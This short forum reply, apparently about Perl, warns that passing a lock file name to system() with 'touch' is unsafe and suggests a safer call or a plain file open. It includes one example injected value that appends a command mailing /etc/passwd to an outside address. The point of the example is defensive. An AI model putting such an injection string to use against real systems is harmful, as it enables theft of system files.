However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist.
I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail firstname.lastname@example.org < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:
Or, simply an open FH, ">>$lockfile" ... approach.
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